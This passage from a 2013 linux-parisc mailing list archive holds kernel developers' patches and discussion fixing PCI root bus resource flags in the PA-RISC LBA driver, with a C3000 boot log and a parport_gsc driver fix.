         y+pstMMpJRDriiC7RSEuHhvJIgktqmUQpQm138r93zLin2/Y3JTGSV12xNykPyGJWwZr
         h1Hg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:x-gm-message-state;
        bh=4JW1ZWZ7GzJZ1uEE1KZqBrTpO/CXkq85AbX4WIvZWUg=;
        b=f5co/2onzMTeOAMp8wBrhUOHELW0R8zJk/uTF3M14jeVE74butrQLht4NM9CZydis2
         odzwk/QoOd2kYZ9Wi3lis4W3NJbJGJEu/yxpz3okiITK+45PZxUyzsIDdLIjs8315ugj
         MEX1FED2CFwVyo/J8lRQ3KyQRet9TslE7YE0kI6X2cUKvGZ1HR/ztAR03kcZxd880u/t
         WlQuZxKu3l1Rv1zlre/+yRG9o6vZvlj25zb8umlr5VWJIflF0iCwYvkQUuZOFVmBwoxk
         sRzvwms+qE5JVZlU626cVoXEpWzNeBF4IuUs4d5tERzkEXEkPsX/AQpRMNUF4ev3M7kG
         HwFA==
X-Received: by 10.60.79.198 with SMTP id l6mr4453486oex.47.1369937115248; Thu,
 30 May 2013 11:05:15 -0700 (PDT)
Original-Received: by 10.182.81.10 with HTTP; Thu, 30 May 2013 11:04:54 -0700 (PDT)
In-Reply-To: <20130530141033.GA3665@ls3530.box>
X-Gm-Message-State: ALoCoQmXWwdOaNr1fRzfHc0i2+nctTFemtTBRJFmA0ev3GYG5/g9yyU2nYKOMpsNy82TQO246HBh4/qXcz5zwrvzJMY3WNUa0Mn2hBWe88LQw29pNvPQ2dBICJv+JkpWa4IezZ7T1eRfwxnWXiw3EA4SA2pUTQsrBrpyl5nb+W9jMavDBUBkzRWUimmxLRNkXzMVgGgP+jMpLPhj4zqE6icrGQR9MjXKVw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5108
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5108>

--089e0118289e1e93a904ddf357d5
Content-Type: text/plain; charset=ISO-8859-1

On Thu, May 30, 2013 at 8:10 AM, Helge Deller <deller@gmx.de> wrote:
> This commit dc7dce280a26d069ad5a58bf3da86e5e83415c65
> Author: Bjorn Helgaas <bhelgaas@google.com>
> Date:   Fri Oct 28 16:27:27 2011 -0600
>    parisc/PCI: lba: convert to pci_create_root_bus() for correct root bus
>                     resources
>
>   Supply root bus resources to pci_create_root_bus() so they're correct
>   immediately.  This fixes the problem of "early" and "header" quirks seeing
>   incorrect root bus resources.
>
> forgot to set the IORESOURCE_BUS bus flag which led to incorrect resource
> assignments and a non-working stifb framebuffer on most parisc machines.
>
> LBA 10:1: PCI host bridge to bus 0000:01
> pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
> pci_bus 0000:01: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff])
> pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff])
> pci_bus 0000:01: root bus resource [??? 0x00000001 flags 0x0]
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> index 2ef7103..29f3d7d 100644
> --- a/drivers/parisc/lba_pci.c
> +++ b/drivers/parisc/lba_pci.c
> @@ -1494,7 +1494,7 @@ lba_driver_probe(struct parisc_device *dev)
>
>         pci_add_resource_offset(&resources, &lba_dev->hba.io_space,
>                                 HBA_PORT_BASE(lba_dev->hba.hba_num));
> -       if (lba_dev->hba.elmmio_space.start)
> +       if (lba_dev->hba.elmmio_space.flags)

Commit dc7dce280a added this test of "elmmio_space.start", which
indeed looks like it should be for "flags" instead.

>                 pci_add_resource_offset(&resources, &lba_dev->hba.elmmio_space,
>                                         lba_dev->hba.lmmio_space_offset);
>         if (lba_dev->hba.lmmio_space.flags)
> @@ -1503,6 +1503,7 @@ lba_driver_probe(struct parisc_device *dev)
>         if (lba_dev->hba.gmmio_space.flags)
>                 pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
>
> +       lba_dev->hba.bus_num.flags = IORESOURCE_BUS;

But I think this one is actually related to commit 30aa80da43
("parisc/PCI: register busn_res for root buses").  I would set the
bus_num resource type in lba_legacy_resources() to be parallel with
lba_pat_resources(), as in the attached patch, but this way is OK,
too.

Whichever way you go, both fixes look good to me:

Acked-by: Bjorn Helgaas <bhelgaas@google.com>

>         pci_add_resource(&resources, &lba_dev->hba.bus_num);
>
>         dev->dev.platform_data = lba_dev;

--089e0118289e1e93a904ddf357d5
Content-Type: application/octet-stream; name=lba-bus
Content-Disposition: attachment; filename=lba-bus
Content-Transfer-Encoding: base64
X-Attachment-Id: f_hhc95mvy0

Y29tbWl0IDhkOWQ2MWRmOTUxOTk2Njc5ZjJmYTE5YTUwYWUwMWM4MTkzYjgzNDgKQXV0aG9yOiBC
am9ybiBIZWxnYWFzIDxiaGVsZ2Fhc0Bnb29nbGUuY29tPgpEYXRlOiAgIFRodSBNYXkgMzAgMTE6
NDU6MzkgMjAxMyAtMDYwMAoKICAgIHBhcmlzYy9QQ0k6IFNldCB0eXBlIGZvciBMQkEgYnVzX251
bSByZXNvdXJjZQogICAgCiAgICBUaGUgbm9uLVBBVCByZXNvdXJjZSBwcm9iaW5nIGNvZGUgZmFp
bGVkIHRvIHNldCB0aGUgdHlwZSBvZiB0aGUgTEJBIGJ1c19udW0KICAgIHJlc291cmNlICgzMGFh
ODBkYTQzICJwYXJpc2MvUENJOiByZWdpc3RlciBidXNuX3JlcyBmb3Igcm9vdCBidXNlcyIgZGlk
CiAgICB0aGUgY29ycmVzcG9uZGluZyB0aGluZyBmb3IgdGhlIFBBVCBjYXNlKS4KICAgIAogICAg
VGhpcyBjYXVzZXMgaW5jb3JyZWN0IHJlc291cmNlIGFzc2lnbm1lbnRzIGFuZCBhIG5vbi13b3Jr
aW5nIHN0aWZiCiAgICBmcmFtZWJ1ZmZlciBvbiBtb3N0IHBhcmlzYyBtYWNoaW5lcy4KICAgIAog
ICAgU2lnbmVkLW9mZi1ieTogQmpvcm4gSGVsZ2FhcyA8YmhlbGdhYXNAZ29vZ2xlLmNvbT4KCmRp
ZmYgLS1naXQgYS9kcml2ZXJzL3BhcmlzYy9sYmFfcGNpLmMgYi9kcml2ZXJzL3BhcmlzYy9sYmFf
cGNpLmMKaW5kZXggMmVmNzEwMy4uNWQyNTAzOCAxMDA2NDQKLS0tIGEvZHJpdmVycy9wYXJpc2Mv
bGJhX3BjaS5jCisrKyBiL2RyaXZlcnMvcGFyaXNjL2xiYV9wY2kuYwpAQCAtMTA5Niw2ICsxMDk2
LDcgQEAgbGJhX2xlZ2FjeV9yZXNvdXJjZXMoc3RydWN0IHBhcmlzY19kZXZpY2UgKnBhX2Rldiwg
c3RydWN0IGxiYV9kZXZpY2UgKmxiYV9kZXYpCiAJci0+bmFtZSA9ICJMQkEgUENJIEJ1c3NlcyI7
CiAJci0+c3RhcnQgPSBsYmFfbnVtICYgMHhmZjsKIAlyLT5lbmQgPSAobGJhX251bT4+OCkgJiAw
eGZmOworCXItPmZsYWdzID0gSU9SRVNPVVJDRV9CVVM7CiAKIAkvKiBTZXQgdXAgbG9jYWwgUENJ
IEJ1cyByZXNvdXJjZXMgLSB3ZSBkb24ndCBuZWVkIHRoZW0gZm9yCiAJKiogTGVnYWN5IGJveGVz
IGJ1dCBpdCdzIG5pY2UgdG8gc2VlIGluIC9wcm9jL2lvbWVtLgo=
--089e0118289e1e93a904ddf357d5--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc/PCI: lba: fix: convert to pci_create_root_bus()
 for correct root bus resources
Date: Thu, 30 May 2013 21:47:11 +0200
Lines: 223
Approved: news@gmane.org
Message-ID: <51A7ACBF.4030601@gmx.de>
References: <20130530141033.GA3665@ls3530.box> <CAErSpo69AxKgz8Dg8+T7n5jsuOzdSoCUstqrX+uUh8TZ08ayqg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369943241 23725 80.91.229.3 (30 May 2013 19:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 19:47:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 21:47:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui8of-0001Ap-Lx
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 21:47:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757131Ab3E3TrQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 15:47:16 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:55126 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756947Ab3E3TrP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 15:47:15 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.35]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0Leg4G-1U4vb52zFu-00qRbm for
 <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 21:47:13 +0200
Original-Received: (qmail invoked by alias); 30 May 2013 19:47:13 -0000
Original-Received: from p54AD0C3F.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.12.63]
  by mail.gmx.net (mp035) with SMTP; 30 May 2013 21:47:13 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+sw94UVAisXxq294dNTXxO9noI6psIvghieBy9Fq
	Zw5M1xVS/jY/57
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <CAErSpo69AxKgz8Dg8+T7n5jsuOzdSoCUstqrX+uUh8TZ08ayqg@mail.gmail.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5109
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5109>

Hi Bjorn,

On 05/30/2013 08:04 PM, Bjorn Helgaas wrote:
> On Thu, May 30, 2013 at 8:10 AM, Helge Deller <deller@gmx.de> wrote:
>> This commit dc7dce280a26d069ad5a58bf3da86e5e83415c65
>> Author: Bjorn Helgaas <bhelgaas@google.com>
>> Date:   Fri Oct 28 16:27:27 2011 -0600
>>    parisc/PCI: lba: convert to pci_create_root_bus() for correct root bus
>>                     resources
>>
>>   Supply root bus resources to pci_create_root_bus() so they're correct
>>   immediately.  This fixes the problem of "early" and "header" quirks seeing
>>   incorrect root bus resources.
>>
>> forgot to set the IORESOURCE_BUS bus flag which led to incorrect resource
>> assignments and a non-working stifb framebuffer on most parisc machines.
>>
>> LBA 10:1: PCI host bridge to bus 0000:01
>> pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
>> pci_bus 0000:01: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff])
>> pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff])
>> pci_bus 0000:01: root bus resource [??? 0x00000001 flags 0x0]
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
>> index 2ef7103..29f3d7d 100644
>> --- a/drivers/parisc/lba_pci.c
>> +++ b/drivers/parisc/lba_pci.c
>> @@ -1494,7 +1494,7 @@ lba_driver_probe(struct parisc_device *dev)
>>
>>         pci_add_resource_offset(&resources, &lba_dev->hba.io_space,
>>                                 HBA_PORT_BASE(lba_dev->hba.hba_num));
>> -       if (lba_dev->hba.elmmio_space.start)
>> +       if (lba_dev->hba.elmmio_space.flags)
> 
> Commit dc7dce280a added this test of "elmmio_space.start", which
> indeed looks like it should be for "flags" instead.

Great!
Since I have no real knowledge about PCI, could you maybe comment on these
other ".start -> .flags" changes as well ?

--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -668,7 +668,7 @@ lba_fixup_bus(struct pci_bus *bus)
                        BUG();
                }
 
-               if (ldev->hba.elmmio_space.start) {
+               if (ldev->hba.elmmio_space.flags) {
                        err = request_resource(&iomem_resource,
                                        &(ldev->hba.elmmio_space));
                        if (err < 0) {
@@ -993,7 +993,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 
                case PAT_LMMIO:
                        /* used to fix up pre-initialized MEM BARs */
-                       if (!lba_dev->hba.lmmio_space.start) {
+                       if (!lba_dev->hba.lmmio_space.flags) {
                                sprintf(lba_dev->hba.lmmio_name,
                                                "PCI%02x LMMIO",
                                                (int)lba_dev->hba.bus_num.start);
@@ -1001,7 +1001,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
                                        io->start;
                                r = &lba_dev->hba.lmmio_space;
                                r->name = lba_dev->hba.lmmio_name;
-                       } else if (!lba_dev->hba.elmmio_space.start) {
+                       } else if (!lba_dev->hba.elmmio_space.flags) {
                                sprintf(lba_dev->hba.elmmio_name,
                                                "PCI%02x ELMMIO",
                                                (int)lba_dev->hba.bus_num.start);


>> @@ -1503,6 +1503,7 @@ lba_driver_probe(struct parisc_device *dev)
>>         if (lba_dev->hba.gmmio_space.flags)
>>                 pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
>>
>> +       lba_dev->hba.bus_num.flags = IORESOURCE_BUS;
> 
> But I think this one is actually related to commit 30aa80da43
> ("parisc/PCI: register busn_res for root buses").  I would set the
> bus_num resource type in lba_legacy_resources() to be parallel with
> lba_pat_resources(), as in the attached patch, but this way is OK,
> too.
> 
> Whichever way you go, both fixes look good to me:
> 
> Acked-by: Bjorn Helgaas <bhelgaas@google.com>

Thanks, I'll take and push your change. 
Still need to test on another machine though.

Maybe you could help me with another problem which I have with my C3000 as well?

That's the current log:
Found devices:
1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Whole cache flush 492314 cycles, flushing 7983104 bytes 1594427 cycles
Setting cache flush threshold to 180000 (1 CPUs online)
SBA found Astro 2.1 at 0xfffffffffed00000
Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
LBA 10:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
pci_bus 0000:00: root bus resource [mem 0xfffffffff2000000-0xfffffffff23fffff] (bus address [0xf2000000-0xf23fffff])
pci_bus 0000:00: root bus resource [bus 00]
pci 0000:00:0c.0: [1011:0019] type 00 class 0x020000
pci 0000:00:0c.0: reg 10: [io  0x1000-0x107f]
pci 0000:00:0c.0: reg 14: [mem 0xfffffffff2008000-0xfffffffff20083ff]
pci 0000:00:0c.0: reg 30: [mem 0xfffffffff2040000-0xfffffffff207ffff pref]
pci 0000:00:0d.0: [11d4:1889] type 00 class 0x040100
pci 0000:00:0d.0: reg 10: [mem 0xfffffffff200c000-0xfffffffff200c1ff pref]
pci 0000:00:0d.0: reg 14: [mem 0xfffffffff200b000-0xfffffffff200b00f pref]
pci 0000:00:0d.0: reg 18: [mem 0xfffffffff200a000-0xfffffffff200a00f pref]
pci 0000:00:0d.0: reg 1c: [mem 0xfffffffff2009000-0xfffffffff200900f pref]
pci 0000:00:0d.0: supports D2
pci 0000:00:0e.0: [100b:0002] type 00 class 0x01018a
PCI: Enabled native mode for NS87415 (pif=0x8f)
pci 0000:00:0e.0: reg 10: [io  0x0f00-0x0f07]
pci 0000:00:0e.0: reg 14: [io  0x0e00-0x0e03]
pci 0000:00:0e.0: reg 18: [io  0x0d00-0x0d07]
pci 0000:00:0e.0: reg 1c: [io  0x0b00-0x0b03]
pci 0000:00:0e.0: reg 20: [io  0x0a00-0x0a0f]
pci 0000:00:0e.1: [100b:000e] type 00 class 0x068000
pci 0000:00:0e.2: [100b:0012] type 00 class 0x0c0310
pci 0000:00:0e.2: reg 10: [mem 0xfffffffff2007000-0xfffffffff2007fff]
pci 0000:00:0e.2: reg 14: [mem 0xfffffffff2006000-0xfffffffff2006fff]
pci 0000:00:0f.0: [1000:000b] type 00 class 0x010000
pci 0000:00:0f.0: reg 10: [io  0x0900-0x09ff]
pci 0000:00:0f.0: reg 14: [mem 0xfffffffff2005000-0xfffffffff20053ff 64bit]
pci 0000:00:0f.0: reg 1c: [mem 0xfffffffff2002000-0xfffffffff2003fff 64bit]
pci 0000:00:0f.0: supports D1 D2
pci 0000:00:0f.1: [1000:000b] type 00 class 0x010000
pci 0000:00:0f.1: reg 10: [io  0x0800-0x08ff]
pci 0000:00:0f.1: reg 14: [mem 0xfffffffff2004000-0xfffffffff20043ff 64bit]
pci 0000:00:0f.1: reg 1c: [mem 0xfffffffff2000000-0xfffffffff2001fff 64bit]
pci 0000:00:0f.1: supports D1 D2
Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
LBA 10:1: PCI host bridge to bus 0000:01
pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
pci_bus 0000:01: root bus resource [mem 0xfffffffff6000000-0xfffffffff6ffffff] (bus address [0xf6000000-0xf6ffffff])
pci_bus 0000:01: root bus resource [mem 0xfffffffff2400000-0xfffffffff27fffff] (bus address [0xf2400000-0xf27fffff])
pci_bus 0000:01: root bus resource [bus 01-02]
pci 0000:01:04.0: [103c:1005] type 00 class 0x038000
pci 0000:01:04.0: reg 10: [mem 0xf6000000-0xf7ffffff]
pci 0000:01:04.0: reg 30: [mem 0xfffffffff2400000-0xfffffffff240ffff pref]
pci 0000:01:05.0: [121a:0002] type 00 class 0x040000
pci 0000:01:05.0: reg 10: [mem 0xf8000000-0xf8ffffff pref]
pci 0000:01:06.0: [3388:0021] type 01 class 0x060400
pci 0000:01:06.0: supports D1 D2
pci 0000:01:06.0: PME# supported from D1 D2 D3hot D3cold
pci 0000:01:04.0: no compatible bridge window for [mem 0xf6000000-0xf7ffffff]

^^ HERE ^^^
That's actually the problem.
pci 0000:01:04.0, pci 0000:01:05.0 and maybe pci 0000:01:06.0 should be:
pci 0000:00:04.0, pci 0000:00:05.0 and maybe pci 0000:00:06.0.

This problem is documented in lba_pci.c as a bug on the C3000 machines, that
everything listed under PCI02 actually lives under PCI00.
Just search for the lengthy comment in lba_pci.c (search for keyword C3000).

Can you maybe give me some hints how I can build a proper workaround for that problem?
Is there any similar workaround in the pci codebase which I haven't found yet?
The reference code in lba_pci.c doesn't compile any longer, but maybe 
it's possible to reactivate it somehow?


iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
pci 0000:01:05.0: no compatible bridge window for [mem 0xf8000000-0xf8ffffff pref]
iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
pci_bus 0000:02: busn_res: can not insert [bus 02-ff] under [bus 01-02] (conflicts with (null) [bus 01-02])
pci 0000:02:00.0: [102b:0525] type 00 class 0x030000
pci 0000:02:00.0: reg 10: [mem 0xfa000000-0xfbffffff pref]
pci 0000:02:00.0: reg 14: [mem 0xf9800000-0xf9803fff]
pci 0000:02:00.0: reg 18: [mem 0xf9000000-0xf97fffff]
pci 0000:02:00.0: reg 30: [mem 0xf9820000-0xf983ffff pref]
pci 0000:01:06.0: PCI bridge to [bus 02-ff]

^^^^ HERE ^^^^
Should this be something like (in **): ?
   pci 0000:01:06.0: PCI bridge to *BUS 02-ff* [bus 02-ff
But probably it's related to the C3000 bug mentioned above.
   

pci 0000:01:06.0:   bridge window [io  0x0000-0x0fff]
pci 0000:01:06.0:   bridge window [mem 0xf9000000-0xfbffffff]
pci 0000:01:06.0:   bridge window [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
pci 0000:01:06.0: address space collision: [io  0x0000-0x0fff] conflicts with PCI01 Ports [io  0x12000-0x13fff]
pci 0000:01:06.0: no compatible bridge window for [mem 0xf9000000-0xfbffffff]
pci 0000:01:06.0: no compatible bridge window for [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
pci_bus 0000:02: busn_res: [bus 02-ff] end is updated to 02
pci 0000:01:06.0: device not available (can't reserve [io  0x0000-0x0fff])
pci 0000:01:06.0: Error enabling bridge (-22), continuing
Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
LBA 10:4: PCI host bridge to bus 0000:03
pci_bus 0000:03: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
pci_bus 0000:03: root bus resource [mem 0xfffffffff3000000-0xfffffffff33fffff] (bus address [0xf3000000-0xf33fffff])
pci_bus 0000:03: root bus resource [bus 03]
pci 0000:03:01.0: [12ae:0001] type 00 class 0x020000
pci 0000:03:01.0: reg 10: [mem 0xfffffffff3000000-0xfffffffff3003fff]
pci 0000:03:03.0: [1011:0019] type 00 class 0x020000
pci 0000:03:03.0: reg 10: [io  0x28000-0x2807f]
pci 0000:03:03.0: reg 14: [mem 0xfffffffff3004000-0xfffffffff300407f]
pci 0000:03:03.0: reg 30: [mem 0xfffffffff3040000-0xfffffffff307ffff pref]
Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
.....

Thanks!
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: parport0: fix this legacy no-device port driver!
Date: Thu, 30 May 2013 23:06:39 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20130530210639.GA18683@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369948016 10164 80.91.229.3 (30 May 2013 21:06:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 21:06:56 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 23:06:56 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UiA3g-0007lF-7U
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 23:06:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757690Ab3E3VGo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 17:06:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:61998 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755821Ab3E3VGn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 17:06:43 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LrH2g-1UIkNK2yCa-0133Cc for
 <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 23:06:42 +0200
Original-Received: (qmail invoked by alias); 30 May 2013 21:06:42 -0000
Original-Received: from p54AD0C3F.dip0.t-ipconnect.de (EHLO p100.box) [84.173.12.63]
  by mail.gmx.net (mp017) with SMTP; 30 May 2013 23:06:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18EOosIKXAEBnSfCpen3q5gubJKzoqGyayrJwVpk4
	r6YaN/sRpvWZ/S
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5110
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5110>

Fix the above kernel error from parport_announce_port() on 32bit GSC
machines (e.g. B160L). The parport driver requires now a pointer to the
device struct.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parport/parport_gsc.c b/drivers/parport/parport_gsc.c
index a5251cb..6e3a60c 100644
--- a/drivers/parport/parport_gsc.c
+++ b/drivers/parport/parport_gsc.c
@@ -234,7 +234,7 @@ static int parport_PS2_supported(struct parport *pb)
 
 struct parport *parport_gsc_probe_port(unsigned long base,
 				       unsigned long base_hi, int irq,
-				       int dma, struct pci_dev *dev)
+				       int dma, struct parisc_device *padev)
 {
 	struct parport_gsc_private *priv;
 	struct parport_operations *ops;
@@ -258,7 +258,6 @@ struct parport *parport_gsc_probe_port(unsigned long base,
 	priv->ctr_writable = 0xff;
 	priv->dma_buf = 0;
 	priv->dma_handle = 0;
-	priv->dev = dev;
 	p->base = base;
 	p->base_hi = base_hi;
 	p->irq = irq;
@@ -282,6 +281,7 @@ struct parport *parport_gsc_probe_port(unsigned long base,
 		return NULL;
 	}
 
+	p->dev = &padev->dev;
 	p->base_hi = base_hi;
 	p->modes = tmp.modes;
 	p->size = (p->modes & PARPORT_MODE_EPP)?8:3;
@@ -373,7 +373,7 @@ static int parport_init_chip(struct parisc_device *dev)
 	}
 	
 	p = parport_gsc_probe_port(port, 0, dev->irq,
-			/* PARPORT_IRQ_NONE */ PARPORT_DMA_NONE, NULL);
+			/* PARPORT_IRQ_NONE */ PARPORT_DMA_NONE, dev);
 	if (p)
 		parport_count++;
 	dev_set_drvdata(&dev->dev, p);
diff --git a/drivers/parport/parport_gsc.h b/drivers/parport/parport_gsc.h
index fc9c37c..8122147 100644
--- a/drivers/parport/parport_gsc.h
+++ b/drivers/parport/parport_gsc.h
@@ -217,6 +217,6 @@ extern void parport_gsc_dec_use_count(void);
 extern struct parport *parport_gsc_probe_port(unsigned long base,
 						unsigned long base_hi,
 						int irq, int dma,
-						struct pci_dev *dev);
+						struct parisc_device *padev);
 
 #endif	/* __DRIVERS_PARPORT_PARPORT_GSC_H */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: Re: [PATCH] parisc/PCI: lba: fix: convert to pci_create_root_bus()
 for correct root bus resources
Date: Thu, 30 May 2013 15:12:44 -0600
Lines: 264
Approved: news@gmane.org
Message-ID: <20130530211244.GA28735@google.com>
References: <20130530141033.GA3665@ls3530.box>
 <CAErSpo69AxKgz8Dg8+T7n5jsuOzdSoCUstqrX+uUh8TZ08ayqg@mail.gmail.com>
 <51A7ACBF.4030601@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369948376 14417 80.91.229.3 (30 May 2013 21:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 21:12:56 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-pci@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 23:12:56 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
